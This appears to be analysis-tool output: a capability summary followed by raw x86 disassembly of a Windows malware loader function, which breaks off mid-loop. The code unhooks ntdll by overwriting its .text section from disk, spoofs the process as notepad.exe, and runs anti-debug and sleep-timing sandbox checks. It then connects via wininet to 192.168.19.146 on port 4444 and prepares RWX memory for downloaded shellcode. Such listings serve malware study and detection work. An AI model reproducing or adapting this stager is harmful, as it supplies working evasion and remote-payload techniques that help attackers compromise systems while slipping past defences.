Function at 0x40152c
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Overwrite dll .text section to remove hooks
Read file via mapping

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x210
call fcn.00402c40
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x6c], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x70], eax
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x74], eax
mov dword [esp], str.psapi.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetModuleInformation
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401768
mov dword [esp], 0x870
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x78], eax
mov dword [esp], 0x870
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x7c], eax
mov dword [esp], 0x870
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x10], 0
jmp 0x40169e
mov dword [ebp - 0x14], 0
jmp 0x401690
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x64
mov ebx, ecx
sub ebx, eax
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x78]
add edx, eax
mov dword [ebp - 0x1ec], ebx
fild dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x14]
fstp dword [edx + eax*4]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x64
mov ebx, ecx
sub ebx, eax
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x7c]
add edx, eax
mov dword [ebp - 0x1ec], ebx
fild dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x14]
fstp dword [edx + eax*4]
add dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 9
jle 0x4015fa
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 0x35
jle 0x4015ee
mov dword [ebp - 0x10], 0
jmp 0x401718
mov dword [ebp - 0x14], 0
jmp 0x40170e
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x78]
add edx, eax
mov eax, dword [ebp - 0x14]
fld dword [edx + eax*4]
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x7c]
add edx, eax
mov eax, dword [ebp - 0x14]
fld dword [edx + eax*4]
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x80]
add edx, eax
faddp st(1)
mov eax, dword [ebp - 0x14]
fstp dword [edx + eax*4]
add dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 9
jle 0x4016ba
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 0x35
jle 0x4016b1
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetModuleInformation
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401cb2
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0xc], 0xc
lea edx, [ebp - 0x1ac]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x74]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0xc]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x84], eax
mov dword [esp], 0x556c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x88], eax
mov dword [esp], 0x556c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x8c], eax
mov dword [esp], 0x556c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x18], 0
jmp 0x40189b
mov dword [ebp - 0x1c], 0
jmp 0x40188d
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 7
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x7d0
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x18]
imul ecx, edx, 0x11c
mov edx, dword [ebp - 0x88]
add edx, ecx
mov dword [ebp - 0x1ec], eax
fild dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x1c]
fstp dword [edx + eax*4]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 7
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x7d0
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x18]
imul ecx, edx, 0x11c
mov edx, dword [ebp - 0x8c]
add edx, ecx
mov dword [ebp - 0x1ec], eax
fild dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x1c]
fstp dword [edx + eax*4]
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x46
jle 0x4017f7
add dword [ebp - 0x18], 1
cmp dword [ebp - 0x18], 0x4c
jle 0x4017eb
mov dword [ebp - 0x18], 0
jmp 0x40190c
mov dword [ebp - 0x1c], 0
jmp 0x401902
mov eax, dword [ebp - 0x18]
imul edx, eax, 0x11c
mov eax, dword [ebp - 0x88]
add edx, eax
mov eax, dword [ebp - 0x1c]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x18]
imul edx, eax, 0x11c
mov eax, dword [ebp - 0x8c]
add edx, eax
mov eax, dword [ebp - 0x1c]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x18]
imul edx, eax, 0x11c
mov eax, dword [ebp - 0x90]
add edx, eax
fsubp st(1)
mov eax, dword [ebp - 0x1c]
fstp dword [edx + eax*4]
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x46
jle 0x4018b7
add dword [ebp - 0x18], 1
cmp dword [ebp - 0x18], 0x4c
jle 0x4018ae
mov eax, dword [ebp - 0x88]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], str.c:windows_system32_ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x94], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x94]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call eax
sub esp, 0x18
mov dword [ebp - 0x98], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_MapViewOfFile]
call eax
sub esp, 0x14
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0x84]
add eax, edx
mov dword [ebp - 0xa4], eax
mov word [ebp - 0x1e], 0
jmp 0x401c9e
mov eax, dword [ebp - 0xa4]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xa4]
lea ecx, [edx + eax]
movzx edx, word [ebp - 0x1e]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, ecx
add eax, 0x18
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
mov dword [esp + 4], str..text
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x401c93
mov dword [ebp - 0x1d0], 0
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0xa8]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x84]
add edx, ecx
mov ecx, edx
lea edx, [ebp - 0x1d0]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov dword [esp], ecx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0xa8]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x9c]
add edx, ecx
mov ebx, edx
mov edx, dword [ebp - 0xa8]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x84]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edx
call sub.msvcrt.dll_memcpy
mov dword [esp], 0xf40
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x24], 0
jmp 0x401b5a
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x24]
lea edx, [eax*4]
mov eax, dword [ebp - 0xac]
lea ebx, [edx + eax]
mov edx, 0x68db8bad
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0xc
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x2710
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 0x3cf
jle 0x401b1b
mov dword [ebp - 0x24], 0
jmp 0x401c37
mov dword [ebp - 0xb0], 0
jmp 0x401c1f
mov eax, dword [ebp - 0x24]
lea edx, [eax*4]
mov eax, dword [ebp - 0xac]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0xb0]
add eax, 1
lea ecx, [eax*4]
mov eax, dword [ebp - 0xac]
add eax, ecx
mov eax, dword [eax]
cmp edx, eax
jle 0x401c1b
mov eax, dword [ebp - 0xb0]
lea edx, [eax*4]
mov eax, dword [ebp - 0xac]
add eax, edx
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x24]
add eax, 1
lea edx, [eax*4]
mov eax, dword [ebp - 0xac]
add eax, edx
mov edx, dword [ebp - 0xb0]
lea ecx, [edx*4]
mov edx, dword [ebp - 0xac]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
mov eax, dword [ebp - 0xb0]
add eax, 1
lea edx, [eax*4]
mov eax, dword [ebp - 0xac]
add edx, eax
mov eax, dword [ebp - 0xb4]
mov dword [edx], eax
add dword [ebp - 0x24], 1
mov eax, 0x3cf
sub eax, dword [ebp - 0x24]
cmp dword [ebp - 0xb0], eax
jl 0x401b7e
add dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 0x3cf
jle 0x401b6f
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov edx, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 8]
mov ecx, dword [ebp - 0xa8]
mov ebx, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x84]
add ecx, ebx
mov ebx, ecx
lea ecx, [ebp - 0x1d0]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
movzx eax, word [ebp - 0x1e]
add eax, 1
mov word [ebp - 0x1e], ax
mov eax, dword [ebp - 0xa4]
movzx eax, word [eax + 6]
cmp word [ebp - 0x1e], ax
jb 0x401a2d
mov dword [ebp - 0x1c8], 0
mov dword [esp + 4], str.NtQueryInformationProcess
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xb8], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
lea edx, [ebp - 0x1c8]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x18
lea edx, [ebp - 0x1c4]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0xb8]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x1c0]
add eax, 0x28
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xbc]
mov dword [eax + 0x44], str.C:windows_system32_notepad.exe
mov eax, dword [ebp - 0xbc]
mov dword [eax + 0x3c], str.C:windows_system32_notepad.exe
mov dword [ebp - 0x1cc], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.CheckRemoteDebuggerPresent
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xc0], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
lea edx, [ebp - 0x1cc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0xc0]
call eax
sub esp, 8
mov eax, dword [ebp - 0x1cc]
cmp eax, 1
je 0x402b85
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov dword [esp], 0x1fffff
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0
jne 0x402b85
mov dword [ebp - 0xc8], 0x23c
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.SleepEx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xcc], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
call eax
mov dword [ebp - 0xd4], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc8]
mov dword [esp], eax
mov eax, dword [ebp - 0xcc]
call eax
sub esp, 8
mov eax, dword [ebp - 0xd0]
call eax
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
sub eax, dword [ebp - 0xd4]
cmp eax, 0x20a
jbe 0x402b85
mov dword [ebp - 0x1d4], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.CheckRemoteDebuggerPresent
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xdc], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
lea edx, [ebp - 0x1d4]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0xdc]
call eax
sub esp, 8
mov eax, dword [ebp - 0x1d4]
cmp eax, 1
je 0x402b85
mov dword [ebp - 0xe0], 0x39f
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.SleepEx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xe4], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xe8]
call eax
mov dword [ebp - 0xec], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xe0]
mov dword [esp], eax
mov eax, dword [ebp - 0xe4]
call eax
sub esp, 8
mov eax, dword [ebp - 0xe8]
call eax
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0xf0]
sub eax, dword [ebp - 0xec]
cmp eax, 0x36d
jbe 0x402b85
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
call eax
sub esp, 0x10
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
je 0x402b85
mov dword [esp + 4], 0x5e6
mov eax, dword [ebp - 0xf4]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xfc], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.VirtualAllocExNuma
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x100], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x4a5
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0x100]
call eax
sub esp, 0x18
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
je 0x402b85
mov dword [ebp - 0x104], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.VirtualAlloc
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x108], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x334de80
mov dword [esp], 0
mov eax, dword [ebp - 0x108]
call eax
sub esp, 0x10
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
je 0x402b85
mov dword [esp + 4], 0x334de80
mov eax, dword [ebp - 0x104]
mov dword [esp], eax
call fcn.004097f0
sub esp, 8
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x104]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
call eax
sub esp, 0x10
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x402b85
mov dword [esp + 4], 0x53f
mov eax, dword [ebp - 0x10c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x114], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.VirtualAlloc
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x118], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x2bc7680
mov dword [esp], 0
mov eax, dword [ebp - 0x118]
call eax
sub esp, 0x10
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
je 0x402b85
mov dword [esp + 4], 0x2bc7680
mov eax, dword [ebp - 0x114]
mov dword [esp], eax
call fcn.004097f0
sub esp, 8
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x114]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x11c], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x120], eax
mov dword [esp], str.wininet.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x124], eax
mov dword [esp + 4], str.InternetOpenA
mov eax, dword [ebp - 0x124]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x28], 0x154
mov dword [ebp - 0x2c], 0x96
mov dword [ebp - 0x30], 0x2bc
mov dword [ebp - 0x34], 0x1c2
jmp 0x402335
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x34]
jle 0x4022f4
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x28]
jle 0x4022e0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x2c]
jle 0x4022da
sub dword [ebp - 0x30], 1
jmp 0x402322
sub dword [ebp - 0x2c], 1
jmp 0x402322
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x2c]
jle 0x4022ee
sub dword [ebp - 0x28], 1
jmp 0x402322
sub dword [ebp - 0x2c], 1
jmp 0x402322
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x28]
jle 0x402310
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x2c]
jle 0x40230a
sub dword [ebp - 0x34], 1
jmp 0x402322
sub dword [ebp - 0x2c], 1
jmp 0x402322
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x2c]
jle 0x40231e
sub dword [ebp - 0x28], 1
jmp 0x402322
sub dword [ebp - 0x2c], 1
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov dword [esp], 0x40b166
call fcn.004014f0
cmp dword [ebp - 0x30], 0
jg 0x4022bc
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [ebp - 0x128]
call eax
sub esp, 0x14
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
je 0x402b85
mov dword [esp + 4], str.InternetConnectA
mov eax, dword [ebp - 0x124]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x130], eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], 0x800000
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x115c
mov dword [esp + 4], str.192.168.19.146
mov eax, dword [ebp - 0x12c]
mov dword [esp], eax
mov eax, dword [ebp - 0x130]
call eax
sub esp, 0x20
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
je 0x402b85
mov dword [esp + 4], str.HttpOpenRequestA
mov eax, dword [ebp - 0x124]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x138], eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], 0x84e03200
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.YJXuyPXAXCTLGTopaQBvFlprUHrvGZNlhCOCxdHnG_xpciEQaqHUyiGUnA_GCStRHnxyJjeKBEhZksRSJukHLwJMkphuoGAz
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x134]
mov dword [esp], eax
mov eax, dword [ebp - 0x138]
call eax
sub esp, 0x20
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
je 0x402b85
mov dword [ebp - 0x1d8], 0x3380
mov dword [esp + 4], str.InternetSetOption
mov eax, dword [ebp - 0x124]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x140], eax
mov dword [esp + 0xc], 4
lea eax, [ebp - 0x1d8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x1f
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
mov eax, dword [ebp - 0x140]
call eax
sub esp, 0x10
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x3c], 1
jmp 0x40256c
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
jmp 0x402551
mov ecx, dword [ebp - 0x40]
mov edx, 0x66666667
mov eax, ecx
imul edx
sar edx, 2
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x1a0]
imul eax, eax
imul eax, dword [ebp - 0x1a0]
add dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x40]
mov edx, 0x66666667
mov eax, ecx
imul edx
mov eax, edx
sar eax, 2
sar ecx, 0x1f
mov edx, ecx
sub eax, edx
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x4024fa
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x3c]
jne 0x402568
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x19c], eax
add dword [ebp - 0x3c], 1
cmp dword [ebp - 0x3c], 0x2c9
jle 0x4024eb
mov dword [esp + 4], str.VirtualAlloc
mov eax, dword [ebp - 0x120]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x148], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x7a1200
mov dword [esp], 0
mov eax, dword [ebp - 0x148]
call eax
sub esp, 0x10
mov dword [ebp - 0x14c], eax
mov dword [esp], 0x2304
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x150], eax
mov dword [esp], 0x2304
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x154], eax
mov dword [esp], 0x2304
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x44], 0
jmp 0x4026b6
mov dword [ebp - 0x48], 0
jmp 0x4026a8
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x44]
imul ecx, edx, 0x14c
mov edx, dword [ebp - 0x150]
add edx, ecx
mov dword [ebp - 0x1ec], eax
fild dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x48]
fstp dword [edx + eax*4]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x44]
imul ecx, edx, 0x14c
mov edx, dword [ebp - 0x154]
add edx, ecx
mov dword [ebp - 0x1ec], eax
fild dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x48]
fstp dword [edx + eax*4]
add dword [ebp - 0x48], 1
cmp dword [ebp - 0x48], 0x52
jle 0x402618
add dword [ebp - 0x44], 1
cmp dword [ebp - 0x44], 0x1a
jle 0x40260c
mov dword [ebp - 0x44], 0
jmp 0x402727
mov dword [ebp - 0x48], 0
jmp 0x40271d
mov eax, dword [ebp - 0x44]
imul edx, eax, 0x14c
mov eax, dword [ebp - 0x150]
add edx, eax
mov eax, dword [ebp - 0x48]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x44]
imul edx, eax, 0x14c
mov eax, dword [ebp - 0x154]
add edx, eax
mov eax, dword [ebp - 0x48]
fld dword [edx + eax*4]
